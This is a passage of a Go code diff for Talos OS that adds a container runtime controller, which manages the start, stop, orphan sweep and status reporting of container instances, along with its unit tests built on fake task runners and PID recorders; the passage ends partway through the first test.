ctest.AssertNoResource[*block.VolumeMountRequest](suite, testRequestID) +} + +// TestReleasesEverythingOnLifecycleTeardown covers the shutdown path. +// +// The barrier is what the stopContainers phase waits on, so it has to be released; the container spec +// still exists at that point, and treating it as a reason to keep the mount would hang the shutdown. +func (suite *MountSuite) TestReleasesEverythingOnLifecycleTeardown() { + suite.createSpec(suite.userVolumeMount()) + + ctest.AssertResource(suite, testRequestID, func(*block.VolumeMountRequest, *assert.Assertions) {}) + suite.satisfyMount(false) + suite.assertMountsReady(true) + + lifecycleMD := containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), lifecycleMD) + suite.Require().NoError(err) + + // This is what the stopContainers sequencer phase blocks on. + _, err = suite.State().WatchFor(suite.Ctx(), lifecycleMD, state.WithFinalizerEmpty()) + suite.Require().NoError(err) + + ctest.AssertNoResource[*block.VolumeMountRequest](suite, testRequestID) +} diff --git a/internal/app/machined/pkg/controllers/containers/runtime.go b/internal/app/machined/pkg/controllers/containers/runtime.go new file mode 100644 index 00000000000..cf0dfe20d87 --- /dev/null +++ b/internal/app/machined/pkg/controllers/containers/runtime.go @@ -0,0 +1,745 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers + +import ( + "context" + "errors" + "fmt" + "sync" + "time" + + "github.com/cosi-project/runtime/pkg/controller" + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/safe" + "github.com/cosi-project/runtime/pkg/state" + "github.com/siderolabs/gen/optional" + "go.uber.org/zap" + + "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" + "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" + "github.com/siderolabs/talos/pkg/machinery/constants" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" + "github.com/siderolabs/talos/pkg/machinery/resources/v1alpha1" +) + +// containerServicePID builds the ServicePID resource ID for a container. +func containerServicePID(containerID string) string { + return constants.ContainerServicePIDPrefix + containerID +} + +// TaskRunner runs one container execution against a container runtime. +// +// Everything platform-specific lives behind this interface: the containerd client, the cgroup, the +// OCI spec, the signal sequence on teardown. The controller above it only orchestrates. That split +// is also what makes the controller testable without containerd. +type TaskRunner interface { + // List returns the IDs of containers currently present in the namespace. + // + // Used for the orphan sweep: containerd's state is persistent, so containers can outlive the + // process that created them. + List(ctx context.Context) ([]string, error) + + // Remove deletes a container along with its snapshot, tolerating absence. + Remove(ctx context.Context, id string) error + + // Run creates the container and blocks until its task exits. + // + // started is called once with the task PID. Canceling ctx must stop the task gracefully + // (SIGTERM, grace period, SIGKILL) and clean up everything it created, using a context that + // outlives the cancellation. + Run(ctx context.Context, id string, spec containers.ContainerInstanceSpecSpec, started func(pid uint32)) (exitCode int32, err error) + + // Close releases the underlying client. + Close() error +} + +// RuntimeController runs container instances by interacting with the container runtime. +type RuntimeController struct { + // Runtime provides the logging manager for container logs. + Runtime runtime.Runtime + + // RunnerProvider is overridable for testing. + RunnerProvider func() (TaskRunner, error) + + // PIDRecorder is overridable for testing. + PIDRecorder pid.Recorder + + // Everything below outlives a single Run: see init. + instances map[string]*instanceRunState + notifyCh chan struct{} + // instanceCtx parents the per-instance run goroutines. + instanceCtx context.Context //nolint:containedctx + taskRunner TaskRunner + swept bool +} + +// Name implements controller.Controller interface. +func (ctrl *RuntimeController) Name() string { + return "containers.RuntimeController" +} + +// Inputs implements controller.Controller interface. +func (ctrl *RuntimeController) Inputs() []controller.Input { + return []controller.Input{ + { + Namespace: containers.NamespaceName, + Type: containers.ContainerInstanceSpecType, + Kind: controller.InputStrong, + }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerLifecycleType, + ID: optional.Some(containers.ContainerLifecycleID), + Kind: controller.InputStrong, + }, + { + Namespace: v1alpha1.NamespaceName, + Type: v1alpha1.ServiceType, + ID: optional.Some(criServiceID), + Kind: controller.InputWeak, + }, + } +} + +// Outputs implements controller.Controller interface. +func (ctrl *RuntimeController) Outputs() []controller.Output { + return []controller.Output{ + { + Type: containers.ContainerInstanceStatusType, + Kind: controller.OutputExclusive, + }, + } +} + +// instanceRunState tracks one running execution. +type instanceRunState struct { + cancel context.CancelFunc + wg sync.WaitGroup + + mu sync.Mutex + phase containers.ContainerInstancePhase + pid uint32 + exitCode int32 + err error + startedAt time.Time + finishedAt time.Time + stopRequested bool +} + +func (s *instanceRunState) snapshot() containers.ContainerInstanceStatusSpec { + s.mu.Lock() + defer s.mu.Unlock() + + spec := containers.ContainerInstanceStatusSpec{ + Phase: s.phase, + PID: s.pid, + ExitCode: s.exitCode, + StartedAt: s.startedAt, + FinishedAt: s.finishedAt, + } + + if s.err != nil { + spec.Error = s.err.Error() + } + + return spec +} + +func (s *instanceRunState) setStarted(pid uint32) { + s.mu.Lock() + defer s.mu.Unlock() + + s.phase = containers.ContainerInstancePhaseRunning + s.pid = pid + s.startedAt = time.Now() +} + +func (s *instanceRunState) setFinished(exitCode int32, err error, everStarted bool) { + s.mu.Lock() + defer s.mu.Unlock() + + // A task that never started is a setup failure, which is a different thing from a task that ran + // and exited: the exit code is meaningless in the first case. + if everStarted { + s.phase = containers.ContainerInstancePhaseTerminated + s.exitCode = exitCode + } else { + s.phase = containers.ContainerInstancePhaseFailed + } + + s.pid = 0 + s.err = err + s.finishedAt = time.Now() +} + +func (s *instanceRunState) stop() { + s.cancel() + s.wg.Wait() +} + +// requestStop asks the task to stop, reporting whether this is the first time it has been asked. +// +// The answer only drives logging. A stop that has to be retried across passes, which is what happens +// when the cleanup after it fails, would otherwise log the same line on every one of them, long after +// the task in question is gone. +func (s *instanceRunState) requestStop() bool { + s.mu.Lock() + defer s.mu.Unlock() + + first := !s.stopRequested + s.stopRequested = true + + s.cancel() + + return first +} + +// Run implements controller.Controller interface. +// +//nolint:gocyclo +func (ctrl *RuntimeController) Run(ctx context.Context, r controller.Runtime, logger *zap.Logger) error { + if ctrl.RunnerProvider == nil { + ctrl.RunnerProvider = func() (TaskRunner, error) { + return newContainerdRunner(ctrl.Runtime.Logging(), logger) + } + } + + if ctrl.PIDRecorder == nil { + ctrl.PIDRecorder = func(serviceName string, servicePID int32, clearEntry bool) error { + return pid.NewStateRecorder(ctrl.Runtime.State().V1Alpha2().Resources()). + Record(serviceName, servicePID, clearEntry) + } + } + + ctrl.init(ctx) + + // Returning an error is a restart, and a restart must leave containers running. + // A done context is the controller runtime shutting down. + defer func() { + if ctx.Err() == nil { + return + } + + ctrl.stopAll(logger) + + // After the instances, never before: they wait on their tasks through this client. + ctrl.closeRunner() + }() + + for { + select { + case <-ctx.Done(): + return nil + case <-r.EventCh(): + case <-ctrl.notifyCh: + } + + criUp, err := ctrl.criIsUp(ctx, r) + if err != nil { + return err + } + + if criUp && ctrl.taskRunner == nil { + if ctrl.taskRunner, err = ctrl.RunnerProvider(); err != nil { + return fmt.Errorf("failed to create task runner: %w", err) + } + + logger.Info("connected to the container runtime, containers can now be started") + } + + if err := ctrl.reconcile(ctx, r, logger); err != nil { + return err + } + + r.ResetRestartBackoff() + } +} + +// init sets up the state that has to outlive a single Run. +func (ctrl *RuntimeController) init(ctx context.Context) { + if ctrl.instances != nil { + return + } + + ctrl.instances = map[string]*instanceRunState{} + ctrl.notifyCh = make(chan struct{}, 1) + + // Cancellation is what stops a container, so the instances are deliberately hung off a context + // that nothing cancels: stopping is driven explicitly instead, per instance when its spec tears + // down and for all of them at once through the shutdown barrier. The context handed to Run is the + // controller runtime's own, canceled when the runtime shuts down, which is after the barrier has + // already stopped everything and too late to be a useful signal. + ctrl.instanceCtx = context.WithoutCancel(ctx) +} + +// closeRunner releases the container runtime client, if one was ever created. +func (ctrl *RuntimeController) closeRunner() { + if ctrl.taskRunner == nil { + return + } + + ctrl.taskRunner.Close() //nolint:errcheck + + ctrl.taskRunner = nil +} + +func (ctrl *RuntimeController) criIsUp(ctx context.Context, r controller.Runtime) (bool, error) { + service, err := safe.ReaderGetByID[*v1alpha1.Service](ctx, r, criServiceID) + if err != nil { + if state.IsNotFoundError(err) { + return false, nil + } + + return false, fmt.Errorf("failed to get %q service: %w", criServiceID, err) + } + + return service.TypedSpec().Running && service.TypedSpec().Healthy, nil +} + +// reconcile brings the running instances in line with the instance specs. +// +// ctrl.taskRunner is nil while the container runtime is not up yet. The shutdown barrier is still +// handled in that case: the finalizer may have been taken before a controller restart, and this +// controller is the only one that releases it, so the shutdown sequence would otherwise wait out its +// whole timeout with the runtime down. +// +//nolint:gocyclo,cyclop +func (ctrl *RuntimeController) reconcile( + ctx context.Context, + r controller.Runtime, + logger *zap.Logger, +) error { + lifecycle, err := readContainerLifecycle(ctx, r) + if err != nil { + return err + } + + // The barrier tearing down is the node on its way down, and it is torn down before the phase that + // stops containerd, which is the only window in which a task can still be stopped gracefully. + // Everything is wound down here and nothing is started again: returning before the pass below is + // what makes that stick, since the instance specs outlive the barrier and are still PhaseRunning, + // so the pass would start them straight back up. + // + // An absent barrier means the same thing. It is created by a startup task that completes before + // the controller runtime starts, so it is not missing at boot; it goes missing only when the + // shutdown phase destroys it, one pass after releasing it. Treating that as normal operation is + // what previously restarted every container immediately after stopping it, leaving containers + // running into the phase that kills containerd, and their records behind to be swept as orphans on + // the next boot. + if lifecycle == nil || lifecycle.Metadata().Phase() == resource.PhaseTearingDown { + ctrl.stopAll(logger) + + return reconcileLifecycle(ctx, r, logger, lifecycle, ctrl.Name(), len(ctrl.instances) == 0) + } + + if ctrl.taskRunner == nil { + logger.Debug("waiting for the container runtime") + + return reconcileLifecycle(ctx, r, logger, lifecycle, ctrl.Name(), len(ctrl.instances) == 0) + } + + containerInstanceSpecs, err := safe.ReaderListAll[*containers.ContainerInstanceSpec](ctx, r) + if err != nil { + return fmt.Errorf("failed to list instance specs: %w", err) + } + + // Sweep before creating anything. Instance resources are in-memory and gone after a machined + // restart, but the container runtime's are not, so generations restart from zero and a leftover + // container would collide with a new one of the same ID. Deleting first makes that a non-event, + // and it only works because one controller owns both halves. + // + // Once per process, not per Run: a controller restart leaves the instances it started running and + // still tracked, so there is nothing for a second sweep to find that is not still wanted. Nothing + // below relies on a later sweep either: a removal that fails is retried by the pass itself, held + // there by the spec's finalizer while it has one and by the instance map once it does not. + if !ctrl.swept { + if err := ctrl.sweepOrphans(ctx, logger, containerInstanceSpecs); err != nil { + return err + } + + ctrl.swept = true + } + + // Ask every instance whose spec is tearing down to stop before waiting for any of them: one stop is + // bounded by the graceful shutdown timeout plus the wait for the kill, and stopping them one after + // another would multiply that bound by the number of containers going away at once. + for containerInstanceSpec := range containerInstanceSpecs.All() { + if containerInstanceSpec.Metadata().Phase() != resource.PhaseTearingDown { + continue + } + + if instance, exists := ctrl.instances[containerInstanceSpec.Metadata().ID()]; exists { + instance.cancel() + } + } + + r.StartTrackingOutputs() + + live := map[string]struct{}{} + + // Per-instance failures are collected rather than returned on the spot: one container that cannot + // be removed must not stop the rest of this pass from starting, stopping and reporting on the + // others. The joined error still goes back to the controller runtime, which is what retries. + var instanceErrs error + + for containerInstanceSpec := range containerInstanceSpecs.All() { + if err := ctrl.reconcileInstanceSpec(ctx, r, logger, containerInstanceSpec, live); err != nil { + instanceErrs = errors.Join(instanceErrs, err) + } + } + + // Any goroutine whose spec vanished outright. Asked to stop first, joined second, for the same + // reason as the tearing-down pass above. + for id, instance := range ctrl.instances { + if _, exists := live[id]; exists { + continue + } + + if instance.requestStop() { + logger.Info("instance spec is gone, stopping the container", zap.String("instance", id)) + } + } + + for id, instance := range ctrl.instances { + if _, exists := live[id]; exists { + continue + } + + instance.stop() + + // The tearing-down path can afford to fail here because the finalizer stays on the spec and + // brings the next pass back to it. A vanished spec leaves nothing to hold a finalizer on, so + // this map entry is the only remaining record that the container exists: dropping it on a + // failure would leave the container behind with nothing left that knows about it, and no second + // orphan sweep coming to find it either. Keeping it costs a repeated stop on the retry, which + // is free: the cancel is idempotent and the join returns at once. + if err := ctrl.taskRunner.Remove(ctx, id); err != nil { + instanceErrs = errors.Join(instanceErrs, fmt.Errorf("failed to remove vanished container %q: %w", id, err)) + + continue + } + + delete(ctrl.instances, id) + } + + if instanceErrs != nil { + // CleanupOutputs reclaims every status not written during this pass, and a status whose write + // failed above is one of those. Running it here would destroy the record of a generation that + // has already run, which is the only thing stopping it from being run again. + // + // This also skips the barrier finalizer, which only ever delays taking it by a pass: the + // shutdown half of it is handled above, before any of this. + return instanceErrs + } + + if err := safe.CleanupOutputs[*containers.ContainerInstanceStatus](ctx, r); err != nil { + return fmt.Errorf("failed to clean up outputs: %w", err) + } + + return reconcileLifecycle(ctx, r, logger, lifecycle, ctrl.Name(), len(ctrl.instances) == 0) +} + +// reconcileInstanceSpec brings one instance in line with its spec, recording it in live if it is +// still wanted. +// +// Errors are per-instance and the caller collects them: nothing here is fatal to the pass as a whole. +// +//nolint:gocyclo +func (ctrl *RuntimeController) reconcileInstanceSpec( + ctx context.Context, + r controller.Runtime, + logger *zap.Logger, + containerInstanceSpec *containers.ContainerInstanceSpec, + live map[string]struct{}, +) error { + id := containerInstanceSpec.Metadata().ID() + + switch containerInstanceSpec.Metadata().Phase() { + case resource.PhaseRunning: + live[id] = struct{}{} + + if !containerInstanceSpec.Metadata().Finalizers().Has(ctrl.Name()) { + // The finalizer is the handshake with the instance controller: it will not destroy + // this instance until the task is stopped and cleaned up. + if err := r.AddFinalizer(ctx, containerInstanceSpec.Metadata(), ctrl.Name()); err != nil { + return fmt.Errorf("failed to add finalizer on %q: %w", id, err) + } + } + + instance, exists := ctrl.instances[id] + if !exists { + // A terminated instance stays PhaseRunning until the controller above decides to replace + // it, which for a restart is only once the restart interval has elapsed. ctrl.instances + // survives a controller restart, but not a machined one, and the status is this + // controller's own output, so it is the record of what already ran either way. + finished, err := ctrl.retainFinished(ctx, r, id) + if err != nil { + return err + } + + if finished { + return nil + } + + instance = ctrl.start(logger, containerInstanceSpec) + ctrl.instances[id] = instance + } + + return ctrl.writeStatus(ctx, r, containerInstanceSpec, instance) + case resource.PhaseTearingDown: + instance, exists := ctrl.instances[id] + if exists { + logger.Info("stopping container instance", zap.String("instance", id)) + + // Stopping is synchronous: the task must be gone, and its runtime state cleaned up, + // before the instance controller is allowed to destroy the resource. + instance.stop() + delete(ctrl.instances, id) + + logger.Info("container instance stopped", zap.String("instance", id)) + } + + // A failure here leaves the finalizer in place, which is what makes the next pass come back + // and try the removal again rather than hand a half-cleaned instance over to be destroyed. + if err := ctrl.taskRunner.Remove(ctx, id); err != nil { + return fmt.Errorf("failed to remove container %q: %w", id, err) + } + + if containerInstanceSpec.Metadata().Finalizers().Has(ctrl.Name()) { + if err := r.RemoveFinalizer(ctx, containerInstanceSpec.Metadata(), ctrl.Name()); err != nil { + return fmt.Errorf("failed to remove finalizer on %q: %w", id, err) + } + + logger.Debug("released the container instance for destruction", zap.String("instance", id)) + } + } + + return nil +} + +// stopAll stops every running instance, synchronously. +// +// Used on the way down: the caller releases the shutdown barrier once this returns, so this has to +// leave nothing running behind it. +// +// Everything is asked to stop before anything is waited for, so the graceful shutdown timeouts run +// concurrently: serially, a handful of containers ignoring SIGTERM would take longer than the +// shutdown sequence gives the barrier as a whole. +func (ctrl *RuntimeController) stopAll(logger *zap.Logger) { + for containerID, instanceRunState := range ctrl.instances { + logger.Info("stopping container instance", zap.String("instance", containerID)) + + instanceRunState.cancel() + } + + for containerID, instanceRunState := range ctrl.instances { + instanceRunState.stop() + delete(ctrl.instances, containerID) + + logger.Info("container instance stopped", zap.String("instance", containerID)) + } +} + +// retainFinished reports whether the instance already ran to completion, keeping its status if so. +// +// The status is read back rather than trusted from memory because ctrl.instances does not survive a +// controller restart, while the status, being an output, does. A caller that gets true must not start +// the instance. +func (ctrl *RuntimeController) retainFinished(ctx context.Context, r controller.Runtime, id string) (bool, error) { + status, err := safe.ReaderGetByID[*containers.ContainerInstanceStatus](ctx, r, id) + if err != nil { + if state.IsNotFoundError(err) { + return false, nil + } + + return false, fmt.Errorf("failed to get instance status %q: %w", id, err) + } + + if !status.TypedSpec().Phase.Done() { + // Reported running, but nothing is running it: this is the interrupted case rather than the + // finished one, so it is started again and the status corrected. + return false, nil + } + + previous := *status.TypedSpec() + + // Rewritten unchanged purely to mark it as still wanted: an output left untouched during a pass + // is reclaimed by CleanupOutputs, and this status is the only record that this generation ran. + if err := safe.WriterModify(ctx, r, + containers.NewContainerInstanceStatus(containers.NamespaceName, id), + func(res *containers.ContainerInstanceStatus) error { + *res.TypedSpec() = previous + + return nil + }, + ); err != nil { + return false, fmt.Errorf("failed to retain instance status %q: %w", id, err) + } + + return true, nil +} + +// sweepOrphans removes containers with no corresponding instance spec. +func (ctrl *RuntimeController) sweepOrphans( + ctx context.Context, + logger *zap.Logger, + specs safe.List[*containers.ContainerInstanceSpec], +) error { + existing, err := ctrl.taskRunner.List(ctx) + if err != nil { + return fmt.Errorf("failed to list containers: %w", err) + } + + wanted := map[string]struct{}{} + + for spec := range specs.All() { + wanted[spec.Metadata().ID()] = struct{}{} + } + + for _, id := range existing { + if _, exists := wanted[id]; exists { + continue + } + + logger.Info("removing orphaned container", zap.String("container", id)) + + if err := ctrl.taskRunner.Remove(ctx, id); err != nil { + return fmt.Errorf("failed to remove orphaned container %q: %w", id, err) + } + } + + return nil +} + +// start launches the goroutine that runs one instance to completion. +func (ctrl *RuntimeController) start( + logger *zap.Logger, + spec *containers.ContainerInstanceSpec, +) *instanceRunState { + id := spec.Metadata().ID() + + instance := &instanceRunState{ + phase: containers.ContainerInstancePhaseCreated, + } + + // Derived from ctrl.instanceCtx, not from a Run's context: canceling this is how the task is + // stopped, and a controller restart is not a reason to stop anything. The runner is responsible + // for using a context that outlives the cancellation for its own teardown, or the stop sequence + // would be canceled before it could run. + runCtx, cancel := context.WithCancel(ctrl.instanceCtx) + instance.cancel = cancel + + instanceSpec := *spec.TypedSpec() + + // Captured rather than read from ctrl inside the goroutine: the main loop is the only writer of + // ctrl.taskRunner, and reading it from here would race with it. + taskRunner := ctrl.taskRunner + + // notify wakes the controller's main loop without blocking. ctrl.notifyCh is single-slot and purely + // a coalescing "something changed, look again" signal: a full buffer already means a reconcile + // is pending, so a second send is redundant, and it must never block. Blocking here on a + // canceled or uncancelable context can deadlock the controller's shutdown: if the main loop has + // already returned via ctx.Done(), nothing will ever drain this channel again. + // + // It belongs to the controller rather than to one Run for the same reason as the map it wakes the + // loop to look at: an instance that exits just after a restart still has to reach the next loop. + notify := func() { + select { + case ctrl.notifyCh <- struct{}{}: + default: + } + } + + instance.wg.Go(func() { + var everStarted bool + + defer func() { + if p := recover(); p != nil { + // One bad container must not take down machined. + instance.setFinished(0, fmt.Errorf("panic: %v", p), everStarted) + + logger.Error("container run panicked", zap.Stack("stack"), zap.String("instance", id)) + } + + // Clearing the ServicePID from the defer covers every way the run can end, panics + // included: once the started callback has recorded the PID, leaving it behind would + // hand out a stale ctr- -> PID mapping. + if everStarted && instanceSpec.Security.MachinedAccess { + if err := ctrl.PIDRecorder(containerServicePID(instanceSpec.ContainerID), 0, true); err != nil { + logger.Error("failed to clear container PID", zap.String("instance", id), zap.Error(err)) + } + } + + // Wake the controller so the terminal status is published even if nothing else changes. + notify() + }() + + logger.Info("starting container", + zap.String("instance", id), + zap.String("image", instanceSpec.Image), + ) + + exitCode, err := taskRunner.Run(runCtx, id, instanceSpec, func(taskPID uint32) { + everStarted = true + + instance.setStarted(taskPID) + + logger.Info("container started", zap.String("instance", id), zap.Uint32("pid", taskPID)) + + if instanceSpec.Security.MachinedAccess { + if err := ctrl.PIDRecorder(containerServicePID(instanceSpec.ContainerID), int32(taskPID), false); err != nil { //nolint:gosec + logger.Error("failed to record container PID", zap.String("instance", id), zap.Error(err)) + } + } + + notify() + }) + + instance.setFinished(exitCode, err, everStarted) + + switch { + case err != nil: + logger.Error("container run failed", zap.String("instance", id), zap.Error(err)) + case exitCode != 0: + logger.Warn("container exited non-zero", zap.String("instance", id), zap.Int32("exitCode", exitCode)) + default: + logger.Info("container exited", zap.String("instance", id)) + } + }) + + return instance +} + +func (ctrl *RuntimeController) writeStatus( + ctx context.Context, + r controller.Runtime, + spec *containers.ContainerInstanceSpec, + instance *instanceRunState, +) error { + snapshot := instance.snapshot() + + if err := safe.WriterModify(ctx, r, + containers.NewContainerInstanceStatus(containers.NamespaceName, spec.Metadata().ID()), + func(res *containers.ContainerInstanceStatus) error { + status := res.TypedSpec() + + status.ContainerID = spec.TypedSpec().ContainerID + status.Generation = spec.TypedSpec().Generation + status.Phase = snapshot.Phase + status.PID = snapshot.PID + status.ExitCode = snapshot.ExitCode + status.Error = snapshot.Error + status.StartedAt = snapshot.StartedAt + status.FinishedAt = snapshot.FinishedAt + + return nil + }, + ); err != nil { + return fmt.Errorf("failed to write instance status %q: %w", spec.Metadata().ID(), err) + } + + return nil +} diff --git a/internal/app/machined/pkg/controllers/containers/runtime_test.go b/internal/app/machined/pkg/controllers/containers/runtime_test.go new file mode 100644 index 00000000000..747bd67b9c3 --- /dev/null +++ b/internal/app/machined/pkg/controllers/containers/runtime_test.go @@ -0,0 +1,1054 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers_test + +import ( + "context" + "fmt" + "slices" + "sync" + "testing" + "time" + + "github.com/cosi-project/runtime/pkg/state" + "github.com/siderolabs/go-retry/retry" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/suite" + + containersctrl "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/containers" + "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/ctest" + "github.com/siderolabs/talos/pkg/machinery/constants" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" + "github.com/siderolabs/talos/pkg/machinery/resources/v1alpha1" +) + +// fakeTaskRunner stands in for containerd. Run blocks until either ctx is canceled (a stop was +// requested) or the test calls exitNow (the container exiting on its own). +type fakeTaskRunner struct { + mu sync.Mutex + list []string + started map[string]uint32 + starts map[string]int + finished map[string]struct{} + removed []string + removeFails map[string]struct{} + removeFailed map[string]int + selfExit map[string]chan int32 + closed bool + + // stopsWanted, when non-zero, holds every stop until that many of them are in flight at once. + stopsWanted int + stopsSeen int + stopsReady chan struct{} +} + +func newFakeTaskRunner() *fakeTaskRunner { + return &fakeTaskRunner{ + started: map[string]uint32{}, + starts: map[string]int{}, + finished: map[string]struct{}{}, + removeFails: map[string]struct{}{}, + removeFailed: map[string]int{}, + selfExit: map[string]chan int32{}, + } +} + +// failRemove makes Remove fail for id until clearRemoveFailure is called, standing in for a +// container the runtime will not let go of. Every reconcile that reaches it then returns an error, so +// this is also how a controller restart is provoked. +func (f *fakeTaskRunner) failRemove(id string) { + f.mu.Lock() + defer f.mu.Unlock() + + f.removeFails[id] = struct{}{} +} + +func (f *fakeTaskRunner) clearRemoveFailure(id string) { + f.mu.Lock() + defer f.mu.Unlock() + + delete(f.removeFails, id) +} + +// removeFailureCount reports how many removals of id have been failed, which is how a test tells that +// a reconcile has actually returned an error rather than merely being expected to. +func (f *fakeTaskRunner) removeFailureCount(id string) int { + f.mu.Lock() + defer f.mu.Unlock() + + return f.removeFailed[id] +} + +// isClosed reports whether the runner's client has been released, which must not happen on the +// controller restart path: the instance goroutines are still using it. +func (f *fakeTaskRunner) isClosed() bool { + f.mu.Lock() + defer f.mu.Unlock() + + return f.closed +} + +// presetList seeds the containers List reports before any instance is started, standing in for +// state left behind by a previous machined run. +func (f *fakeTaskRunner) presetList(ids ...string) { + f.mu.Lock() + defer f.mu.Unlock() + + f.list = append(f.list, ids...) +} + +func (f *fakeTaskRunner) List(context.Context) ([]string, error) { + f.mu.Lock() + defer f.mu.Unlock() + + return append([]string(nil), f.list...), nil +} + +func (f *fakeTaskRunner) Remove(_ context.Context, id string) error { + f.mu.Lock() + defer f.mu.Unlock() + + if _, fails := f.removeFails[id]; fails { + f.removeFailed[id]++ + + return fmt.Errorf("remove of %q is failing on purpose", id) + } + + f.removed = append(f.removed, id) + f.list = slices.DeleteFunc(f.list, func(existing string) bool { return existing == id }) + + return nil +} + +func (f *fakeTaskRunner) Run(ctx context.Context, id string, _ containers.ContainerInstanceSpecSpec, started func(pid uint32)) (int32, error) { + const fakePID = 4242 + + f.mu.Lock() + f.started[id] = fakePID + f.starts[id]++ + exitCh := make(chan int32, 1) + f.selfExit[id] = exitCh + f.mu.Unlock() + + started(fakePID) + + defer func() { + f.mu.Lock() + defer f.mu.Unlock() + + f.finished[id] = struct{}{} + }() + + select { + case <-ctx.Done(): + // Stands in for a graceful stop: the real runner would signal and wait, but for the fake the + // process is simply gone once asked. + f.awaitConcurrentStops() + + return 0, nil + case exitCode := <-exitCh: + return exitCode, nil + } +} + +func (f *fakeTaskRunner) Close() error { + f.mu.Lock() + defer f.mu.Unlock() + + f.closed = true + + return nil +} + +// requireConcurrentStops makes every stop block until n of them are in flight, standing in for n +// containers each sitting out their graceful shutdown timeout. +func (f *fakeTaskRunner) requireConcurrentStops(n int) { + f.mu.Lock() + defer f.mu.Unlock() + + f.stopsWanted = n + f.stopsReady = make(chan struct{}) +} + +// awaitConcurrentStops blocks until as many stops as requireConcurrentStops asked for have arrived. +// +// A caller that stops one container and waits for it before asking the next one never gets here more +// than once, so it blocks forever, which is the point. +func (f *fakeTaskRunner) awaitConcurrentStops() { + f.mu.Lock() + + if f.stopsWanted == 0 { + f.mu.Unlock() + + return + } + + f.stopsSeen++ + + ready := f.stopsReady + + if f.stopsSeen == f.stopsWanted { + close(ready) + } + + f.mu.Unlock() + + <-ready +} + +// exitNow makes a running instance's Run return exitCode on its own, simulating the container +// process exiting without anyone asking it to stop. +func (f *fakeTaskRunner) exitNow(id string, exitCode int32) { + f.mu.Lock() + ch := f.selfExit[id] + f.mu.Unlock() + + if ch != nil { + ch <- exitCode + } +} + +func (f *fakeTaskRunner) wasStarted(id string) bool { + f.mu.Lock() + defer f.mu.Unlock() + + _, ok := f.started[id] + + return ok +} + +func (f *fakeTaskRunner) wasRemoved(id string) bool { + f.mu.Lock() + defer f.mu.Unlock() + + return slices.Contains(f.removed, id) +} + +// startCount reports how many times Run has been entered for id, which is how a container being +// started a second time is told apart from one that was only ever started once. +func (f *fakeTaskRunner) startCount(id string) int { + f.mu.Lock() + defer f.mu.Unlock() + + return f.starts[id] +} + +// hasFinished reports whether Run has returned for id, i.e. the task is no longer running. +func (f *fakeTaskRunner) hasFinished(id string) bool { + f.mu.Lock() + defer f.mu.Unlock() + + _, ok := f.finished[id] + + return ok +} + +// fakePIDRecorder stands in for the ServicePID resource writer, recording what the controller asked +// for rather than touching COSI. Only containers with security.machinedAccess are recorded at all, so +// the absence of an entry is as meaningful as its contents. +type fakePIDRecorder struct { + mu sync.Mutex + recorded map[string]int32 + cleared []string +} + +func newFakePIDRecorder() *fakePIDRecorder { + return &fakePIDRecorder{recorded: map[string]int32{}} +} + +// record implements pid.Recorder. +func (f *fakePIDRecorder) record(serviceName string, servicePID int32, clearEntry bool) error { + f.mu.Lock() + defer f.mu.Unlock() + + if clearEntry { + f.cleared = append(f.cleared, serviceName) + + delete(f.recorded, serviceName) + + return nil + } + + f.recorded[serviceName] = servicePID + + return nil +} + +// pidOf reports the PID recorded for serviceName, and whether one is recorded at all. +func (f *fakePIDRecorder) pidOf(serviceName string) (int32, bool) { + f.mu.Lock() + defer f.mu.Unlock() + + servicePID, ok := f.recorded[serviceName] + + return servicePID, ok +} + +// wasCleared reports whether serviceName was ever cleared, which outlives the entry itself. +func (f *fakePIDRecorder) wasCleared(serviceName string) bool { + f.mu.Lock() + defer f.mu.Unlock() + + return slices.Contains(f.cleared, serviceName) +} + +type RuntimeSuite struct { + ctest.DefaultSuite + + runner *fakeTaskRunner + pidRecorder *fakePIDRecorder +} + +func TestRuntimeSuite(t *testing.T) { + t.Parallel() + + suite.Run(t, &RuntimeSuite{}) +} + +// SetupTest gives each test its own fake runner: fakeTaskRunner accumulates state (started, +// removed) that must not leak between tests. +func (suite *RuntimeSuite) SetupTest() { + suite.runner = newFakeTaskRunner() + suite.pidRecorder = newFakePIDRecorder() + + suite.AfterSetup = func(s *ctest.DefaultSuite) { + s.Require().NoError(s.Runtime().RegisterController(&containersctrl.RuntimeController{ + RunnerProvider: func() (containersctrl.TaskRunner, error) { return suite.runner, nil }, + PIDRecorder: suite.pidRecorder.record, + })) + } + + suite.DefaultSuite.SetupTest() +} + +// markCRIUp fakes the cri service being up, which is what gates the controller creating its +// TaskRunner at all. +func markCRIUp(suite ctest.Suite) { + service := v1alpha1.NewService("cri") + service.TypedSpec().Running = true + service.TypedSpec().Healthy = true + + suite.Require().NoError(suite.State().Create(suite.Ctx(), service)) +} + +func (suite *RuntimeSuite) createLifecycle() { + suite.Require().NoError(suite.State().Create(suite.Ctx(), + containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID))) +} + +func (suite *RuntimeSuite) createInstanceSpec(id string) { + spec := containers.NewContainerInstanceSpec(containers.NamespaceName, id) + spec.TypedSpec().ContainerID = id + spec.TypedSpec().Image = "sha256:abc123" + + suite.Require().NoError(suite.State().Create(suite.Ctx(), spec)) +} + +func (suite *RuntimeSuite) createInstanceSpecAllowingMachined(id string) { + spec := containers.NewContainerInstanceSpec(containers.NamespaceName, id) + spec.TypedSpec().ContainerID = id + spec.TypedSpec().Image = "sha256:abc123" + spec.TypedSpec().Security.MachinedAccess = true + + suite.Require().NoError(suite.State().Create(suite.Ctx(), spec)) +} + +func (suite *RuntimeSuite) TestStartsInstanceAndReportsRunning() { + markCRIUp(suite) + suite.createLifecycle() + + const id = "nginx-0" + + 